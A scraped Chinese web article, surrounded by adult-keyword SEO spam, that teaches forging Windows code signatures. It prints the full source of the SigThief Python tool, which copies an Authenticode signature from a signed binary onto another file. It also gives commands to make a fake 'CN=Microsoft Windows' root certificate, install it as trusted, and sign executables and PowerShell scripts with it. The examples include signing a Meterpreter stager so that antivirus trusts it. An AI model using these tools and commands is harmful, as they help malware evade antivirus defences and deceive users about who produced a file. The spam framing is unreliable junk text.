婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識(shí)庫 > Python使用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟

Python使用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟

熱門標(biāo)簽:百度地圖標(biāo)注位置怎么修改 洪澤縣地圖標(biāo)注 高德地圖標(biāo)注是免費(fèi)的嗎 無錫客服外呼系統(tǒng)一般多少錢 老人電話機(jī)器人 北京電信外呼系統(tǒng)靠譜嗎 大連crm外呼系統(tǒng) 梅州外呼業(yè)務(wù)系統(tǒng) 地圖標(biāo)注視頻廣告

證書制作工具下載: https://github.com/3gstudent/signtools

制作并簽發(fā)證書:

正常情況下,針對(duì)exe簽發(fā)證書有如下幾個(gè)步驟.

1.查詢一個(gè)程序中存在的證書,可以使用下面三個(gè)命令。

c:\&; signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dll
c:\&; signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dll
c:\&; signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll

2.使用makecert命令制作證書,sv-私鑰文件名,ss-主題的證書存儲(chǔ)名稱,n-證書頒發(fā)對(duì)象,r-證書存儲(chǔ)位置。

c:\&; signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
c:\&; signtools cert2spc Root.cer Root.spc
c:\&; signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注冊(cè)證書與簽發(fā)證書。

c:\&; signtools certmgr.exe -add -c Root.cer -s -r localmachine root
c:\&; signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要給PowerShell腳本添加證書,則執(zhí)行如下命令即可.

1.生成證書文件

c:\&; makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
c:\&; cert2spc certtest.cer certtest.spc
c:\&; pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.給powershell腳本簽名

c:\&; powershell
c:\&; $cert = Get-PfxCertificate certtest.pfx
c:\&; Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert

偽造PE文件證書:

有些反病毒軟件供應(yīng)商優(yōu)先考慮某些證書頒發(fā)機(jī)構(gòu)而不檢查簽名是否真正有效,并且有一些只是檢查以查看certTable是否填充了某些值。這個(gè)工具讓你快速將從已簽名的PE文件中刪除簽名并將其附加到另一個(gè)文件,修復(fù)證書表以對(duì)文件進(jìn)行簽名。

開源工具SigThief可用于偽造證書,將下方代碼保存為sigthief.py即可:

import sys
import struct
import shutil
import io
from optparse import OptionParser

def gather_file_info_win(binary):
        """
        Borrowed from BDF...
        I could just skip to certLOC... *shrug*
        """
        flItms = {}
        binary = open(binary, 'rb')
        binary.seek(int('3C', 16))
        flItms['buffer'] = 0
        flItms['JMPtoCodeAddress'] = 0
        flItms['dis_frm_pehdrs_sectble'] = 248
        flItms['pe_header_location'] = struct.unpack('i', binary.read(4))[0]
        # Start of COFF
        flItms['COFF_Start'] = flItms['pe_header_location'] + 4
        binary.seek(flItms['COFF_Start'])
        flItms['MachineType'] = struct.unpack('H', binary.read(2))[0]
        binary.seek(flItms['COFF_Start'] + 2, 0)
        flItms['NumberOfSections'] = struct.unpack('H', binary.read(2))[0]
        flItms['TimeDateStamp'] = struct.unpack('I', binary.read(4))[0]
        binary.seek(flItms['COFF_Start'] + 16, 0)
        flItms['SizeOfOptionalHeader'] = struct.unpack('H', binary.read(2))[0]
        flItms['Characteristics'] = struct.unpack('H', binary.read(2))[0]
        #End of COFF
        flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20

        #if flItms['SizeOfOptionalHeader']:
            #Begin Standard Fields section of Optional Header
        binary.seek(flItms['OptionalHeader_start'])
        flItms['Magic'] = struct.unpack('H', binary.read(2))[0]
        flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
        flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
        flItms['SizeOfCode'] = struct.unpack("I", binary.read(4))[0]
        flItms['SizeOfInitializedData'] = struct.unpack("I", binary.read(4))[0]
        flItms['SizeOfUninitializedData'] = struct.unpack("I",
                                                               binary.read(4))[0]
        flItms['AddressOfEntryPoint'] = struct.unpack('I', binary.read(4))[0]
        flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
        flItms['BaseOfCode'] = struct.unpack('I', binary.read(4))[0]
        if flItms['Magic'] != 0x20B:
            flItms['BaseOfData'] = struct.unpack('I', binary.read(4))[0]
        # End Standard Fields section of Optional Header
        # Begin Windows-Specific Fields of Optional Header
        if flItms['Magic'] == 0x20B:
            flItms['ImageBase'] = struct.unpack('Q', binary.read(8))[0]
        else:
            flItms['ImageBase'] = struct.unpack('I', binary.read(4))[0]
        flItms['SectionAlignment'] = struct.unpack('I', binary.read(4))[0]
        flItms['FileAlignment'] = struct.unpack('I', binary.read(4))[0]
        flItms['MajorOperatingSystemVersion'] = struct.unpack('H',
                                                                   binary.read(2))[0]
        flItms['MinorOperatingSystemVersion'] = struct.unpack('H',
                                                                   binary.read(2))[0]
        flItms['MajorImageVersion'] = struct.unpack('H', binary.read(2))[0]
        flItms['MinorImageVersion'] = struct.unpack('H', binary.read(2))[0]
        flItms['MajorSubsystemVersion'] = struct.unpack('H', binary.read(2))[0]
        flItms['MinorSubsystemVersion'] = struct.unpack('H', binary.read(2))[0]
        flItms['Win32VersionValue'] = struct.unpack('I', binary.read(4))[0]
        flItms['SizeOfImageLoc'] = binary.tell()
        flItms['SizeOfImage'] = struct.unpack('I', binary.read(4))[0]
        flItms['SizeOfHeaders'] = struct.unpack('I', binary.read(4))[0]
        flItms['CheckSum'] = struct.unpack('I', binary.read(4))[0]
        flItms['Subsystem'] = struct.unpack('H', binary.read(2))[0]
        flItms['DllCharacteristics'] = struct.unpack('H', binary.read(2))[0]
        if flItms['Magic'] == 0x20B:
            flItms['SizeOfStackReserve'] = struct.unpack('Q', binary.read(8))[0]
            flItms['SizeOfStackCommit'] = struct.unpack('Q', binary.read(8))[0]
            flItms['SizeOfHeapReserve'] = struct.unpack('Q', binary.read(8))[0]
            flItms['SizeOfHeapCommit'] = struct.unpack('Q', binary.read(8))[0]

        else:
            flItms['SizeOfStackReserve'] = struct.unpack('I', binary.read(4))[0]
            flItms['SizeOfStackCommit'] = struct.unpack('I', binary.read(4))[0]
            flItms['SizeOfHeapReserve'] = struct.unpack('I', binary.read(4))[0]
            flItms['SizeOfHeapCommit'] = struct.unpack('I', binary.read(4))[0]
        flItms['LoaderFlags'] = struct.unpack('I', binary.read(4))[0]  # zero
        flItms['NumberofRvaAndSizes'] = struct.unpack('I', binary.read(4))[0]
        # End Windows-Specific Fields of Optional Header
        # Begin Data Directories of Optional Header
        flItms['ExportTableRVA'] = struct.unpack('I', binary.read(4))[0]
        flItms['ExportTableSize'] = struct.unpack('I', binary.read(4))[0]
        flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
        #ImportTable SIZE|LOC
        flItms['ImportTableRVA'] = struct.unpack('I', binary.read(4))[0]
        flItms['ImportTableSize'] = struct.unpack('I', binary.read(4))[0]
        flItms['ResourceTable'] = struct.unpack('Q', binary.read(8))[0]
        flItms['ExceptionTable'] = struct.unpack('Q', binary.read(8))[0]
        flItms['CertTableLOC'] = binary.tell()
        flItms['CertLOC'] = struct.unpack("I", binary.read(4))[0]
        flItms['CertSize'] = struct.unpack("I", binary.read(4))[0]
        binary.close()
        return flItms


def copyCert(exe):
    flItms = gather_file_info_win(exe)

    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Input file Not signed!")
        sys.exit(-1)

    with open(exe, 'rb') as f:
        f.seek(flItms['CertLOC'], 0)
        cert = f.read(flItms['CertSize'])
    return cert


def writeCert(cert, exe, output):
    flItms = gather_file_info_win(exe)
    
    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("Output file: {0}".format(output))

    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms['CertTableLOC'], 0)
            f.write(struct.pack("I", len(open(exe, 'rb').read())))
            f.write(struct.pack("I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)

    print("Signature appended. \nFIN.")

def outputCert(exe, output):
    cert = copyCert(exe)
    if not output:
        output = str(exe) + "_sig"

    print("Output file: {0}".format(output))

    open(output, 'wb').write(cert)

    print("Signature ripped. \nFIN.")


def check_sig(exe):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Inputfile Not signed!")
    else:
        print("Inputfile is signed!")


def truncate(exe, output):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Inputfile Not signed!")
        sys.exit(-1)
    else:
        print( "Inputfile is signed!")

    if not output:
        output = str(exe) + "_nosig"

    print("Output file: {0}".format(output))

    shutil.copy2(exe, output)

    with open(output, "r+b") as binary:
        print('Overwriting certificate table pointer and truncating binary')
        binary.seek(-flItms['CertSize'], io.SEEK_END)
        binary.truncate()
        binary.seek(flItms['CertTableLOC'], 0)
        binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")

    print("Signature removed. \nFIN.")


def signfile(exe, sigfile, output):
    flItms = gather_file_info_win(exe)
    
    cert = open(sigfile, 'rb').read()

    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("Output file: {0}".format(output))
    
    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms['CertTableLOC'], 0)
            f.write(struct.pack("I", len(open(exe, 'rb').read())))
            f.write(struct.pack("I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)
    print("Signature appended. \nFIN.")


if __name__ == "__main__":
    usage = 'usage: %prog [options]'
    parser = OptionParser()
    parser.add_option("-i", "--file", dest="inputfile", 
                  help="input file", metavar="FILE")
    parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
                  help='rip signature off inputfile')
    parser.add_option('-a', '--add', dest='addsig', action='store_true',
                  help='add signautre to targetfile')
    parser.add_option('-o', '--output', dest='outputfile',
                  help='output file')
    parser.add_option('-s', '--sig', dest='sigfile',
                  help='binary signature from disk')
    parser.add_option('-t', '--target', dest='targetfile',
                  help='file to append signature to')
    parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
                  help='file to check if signed; does not verify signature')
    parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
                  help='truncate signature (i.e. remove sig)')
    (options, args) = parser.parse_args()
    
    # rip signature
    # inputfile and rip to outputfile
    if options.inputfile and options.ripsig:
        print("Ripping signature to file!")
        outputCert(options.inputfile, options.outputfile)
        sys.exit()    

    # copy from one to another
    # inputfile and rip to targetfile to outputfile    
    if options.inputfile and options.targetfile:
        cert = copyCert(options.inputfile)
        writeCert(cert, options.targetfile, options.outputfile)
        sys.exit()

    # check signature
    # inputfile 
    if options.inputfile and options.checksig:
        check_sig(options.inputfile) 
        sys.exit()

    # add sig to target file
    if options.targetfile and options.sigfile:
        signfile(options.targetfile, options.sigfile, options.outputfile)
        sys.exit()
        
    # truncate
    if options.inputfile and options.truncate:
        truncate(options.inputfile, options.outputfile)
        sys.exit()

    parser.print_help()
    parser.error("You must do something!")

我們需要找一個(gè)帶有證書的文件,然后通過使用sigthief.py完成證書的克隆。此處就拿系統(tǒng)中的ConsentUX.dll演示。

c:\&; python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exe
Output file: check.exe
Signature appended.
FIN.

也可以從二進(jìn)制文件中獲取簽名并將其添加到另一個(gè)二進(jìn)制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe 
Output file: /tmp/msftesting_tcpview.exe
Signature appended. 
FIN.

將簽名保存到磁盤以供以后使用,提供了一個(gè)轉(zhuǎn)存功能。

$ ./sigthief.py -i tcpview.exe -r                                                        
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped. 
FIN.
```BASH
使用翻錄簽名
```BASH
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe                               
Output file: x86_meterpreter_stager.exe_signed
Signature appended. 
FIN.
```BASH
截?cái)啵▌h除)簽名 這實(shí)際上有非常有趣的結(jié)果,可以幫助您找到重視代碼功能簽名的AV)
```BASH
$ ./sigthief.py -i tcpview.exe -T    
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed. 
FIN.

文章出處:https://www.cnblogs.com/lyshark

以上就是Python使用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟的詳細(xì)內(nèi)容,更多關(guān)于Python使用sigthief簽發(fā)證書的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

您可能感興趣的文章:
  • 基于python檢查SSL證書到期情況代碼實(shí)例
  • Python SSL證書驗(yàn)證問題解決方案
  • python requests證書問題解決
  • python有證書的加密解密實(shí)現(xiàn)方法
  • python實(shí)現(xiàn)無證書加密解密實(shí)例

標(biāo)簽:岳陽 怒江 長春 清遠(yuǎn) 吉林 安慶 洛陽 泉州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Python使用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟》,本文關(guān)鍵詞  Python,使用,sigthief,簽發(fā),;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《Python使用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟》相關(guān)的同類信息!
  • 本頁收集關(guān)于Python使用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    一级中文字幕一区二区| 国产欧美日韩亚州综合| 老鸭窝一区二区久久精品| 久久99精品一区二区三区三区| 欧美主播一区二区三区美女| 免费人成黄页网站在线一区二区| 色婷婷一区二区| 国产精品一区在线观看乱码| 久久久久久久久一| 久久成人免费网站| 久久久久久电影| 在线观看日韩国产| 国产精品中文字幕一区二区三区| 国产精华液一区二区三区| 美女久久久精品| 欧美成人bangbros| 欧美性三三影院| 成人a区在线观看| 一区二区三区四区五区视频在线观看 | 成人免费在线播放视频| 国产欧美一区二区精品久导航| 日韩精品一区二区三区视频 | 91精品国产综合久久蜜臀| 欧美久久久久久久久中文字幕| 精品一区二区免费| 99综合电影在线视频| 91丝袜美女网| 99久久婷婷国产综合精品电影| 91蝌蚪国产九色| 性感美女极品91精品| 国产日韩三级在线| 亚洲欧美日韩久久精品| 亚洲国产美国国产综合一区二区| 热久久免费视频| 琪琪久久久久日韩精品| www.视频一区| 日本一区二区三区久久久久久久久不 | 一区二区三区 在线观看视频| 香蕉久久一区二区不卡无毒影院| 成人免费视频一区| 色噜噜狠狠色综合中国| 国内精品不卡在线| 最新高清无码专区| 日韩欧美高清一区| 日本精品一级二级| 欧美精品一区二区三区在线 | 国产精品白丝jk黑袜喷水| 91美女福利视频| 日本韩国一区二区三区视频| 成人综合婷婷国产精品久久 | 在线日韩国产精品| 大尺度一区二区| 欧美一区二区精品| 国产伦精品一区二区三区免费 | 一区二区激情小说| 26uuu欧美日本| 欧美日韩免费观看一区二区三区| 成人在线综合网站| 日韩精品三区四区| 国产乱理伦片在线观看夜一区| 欧美久久久一区| 日韩理论在线观看| 久久亚区不卡日本| 日韩欧美视频一区| 欧美高清视频一二三区| 国产91精品一区二区麻豆亚洲| 婷婷一区二区三区| 麻豆成人免费电影| 99re热视频精品| 久久电影国产免费久久电影 | 裸体一区二区三区| 日韩中文欧美在线| 国产激情一区二区三区四区 | 国产午夜精品在线观看| 九九精品一区二区| 国产乱码精品一区二区三区av| 一本大道综合伊人精品热热| 91官网在线免费观看| 欧美日韩国产精品自在自线| 国产精品66部| 亚洲制服丝袜av| 欧美一区二区播放| 亚洲第一久久影院| 自拍偷拍欧美精品| 国产麻豆一精品一av一免费| 欧美精品v国产精品v日韩精品| 51精品秘密在线观看| 国产激情一区二区三区| 在线免费精品视频| 国产欧美日产一区| 91麻豆国产香蕉久久精品| 国产精品久久免费看| 欧美日韩国产123区| 亚洲国产视频在线| 日韩高清一区在线| 美美哒免费高清在线观看视频一区二区 | 久久99精品国产麻豆不卡| 欧美日韩不卡在线| 久久se精品一区精品二区| 欧美aⅴ一区二区三区视频| 日韩电影一区二区三区四区| 国产欧美一区二区在线观看| 日本一区二区动态图| 看电视剧不卡顿的网站| 国产在线视频精品一区| 亚洲一区二区偷拍精品| 国产精品区一区二区三区| 2023国产精品视频| 色婷婷综合五月| 一卡二卡三卡日韩欧美| 337p亚洲精品色噜噜狠狠| 国产不卡视频一区二区三区| 日本一区二区三区高清不卡| 狠狠色狠狠色合久久伊人| 日韩一级完整毛片| 国产91精品一区二区麻豆亚洲| 国产一区二区0| 91免费看视频| 91免费精品国自产拍在线不卡| 91伊人久久大香线蕉| 91免费观看视频在线| 久久久精品蜜桃| 日本一区二区三区四区| 欧美剧情片在线观看| 99re这里只有精品视频首页| 国产调教视频一区| 亚洲人成影院在线观看| 一个色综合网站| 久久精品国产在热久久| 日韩三级高清在线| 亚洲欧美电影院| 九九精品一区二区| 国产精品乱码人人做人人爱| 亚洲品质自拍视频网站| 91女厕偷拍女厕偷拍高清| 国产一区二区三区国产| 波多野结衣亚洲一区| 自拍偷拍亚洲综合| 91视频你懂的| 国产亚洲精品中文字幕| 一级日本不卡的影视| 中文字幕精品综合| 国产伦理精品不卡| 亚洲精品国产精华液| 亚洲精品国产品国语在线app| 蜜桃久久久久久久| 欧美韩国日本综合| 亚洲黄色av一区| 成人永久免费视频| 26uuu精品一区二区在线观看| 欧美性极品少妇| 久久九九全国免费| 日韩在线观看一区二区| 亚洲人成精品久久久久| 欧美一区二区三区精品| 亚洲主播在线观看| 色又黄又爽网站www久久| 91精品国产麻豆国产自产在线| 色狠狠色噜噜噜综合网| 欧美高清在线精品一区| 久久激五月天综合精品| 亚洲18女电影在线观看| 欧美变态口味重另类| 久久99精品视频| 日韩精品一区二区在线观看| 久久精品在这里| 国产一区二区精品久久91| 欧美性猛交xxxx乱大交退制版| 国产亚洲人成网站| 成人爱爱电影网址| 欧美电影影音先锋| 国产精品青草综合久久久久99| 久久精品国产精品亚洲红杏| 视频一区国产视频| 亚洲欧美区自拍先锋| 欧美xxxx在线观看| 在线视频欧美精品| 国产伦精品一区二区三区视频青涩| 亚洲精品国产品国语在线app| 国产精品私人自拍| 欧美日韩午夜精品| 91精品福利在线一区二区三区 | 日韩精品成人一区二区三区| 国产高清不卡一区二区| 3d成人h动漫网站入口| 免费观看一级特黄欧美大片| 色综合久久天天| 欧美一区二区三区视频免费播放| 久热成人在线视频| 专区另类欧美日韩| 日韩av一区二区三区四区| 亚洲国产精品一区二区尤物区| 午夜精品免费在线观看| 艳妇臀荡乳欲伦亚洲一区| 香蕉成人啪国产精品视频综合网| 麻豆久久久久久| 91黄色免费看| 精品国产百合女同互慰| 欧美国产国产综合| 精品在线免费观看|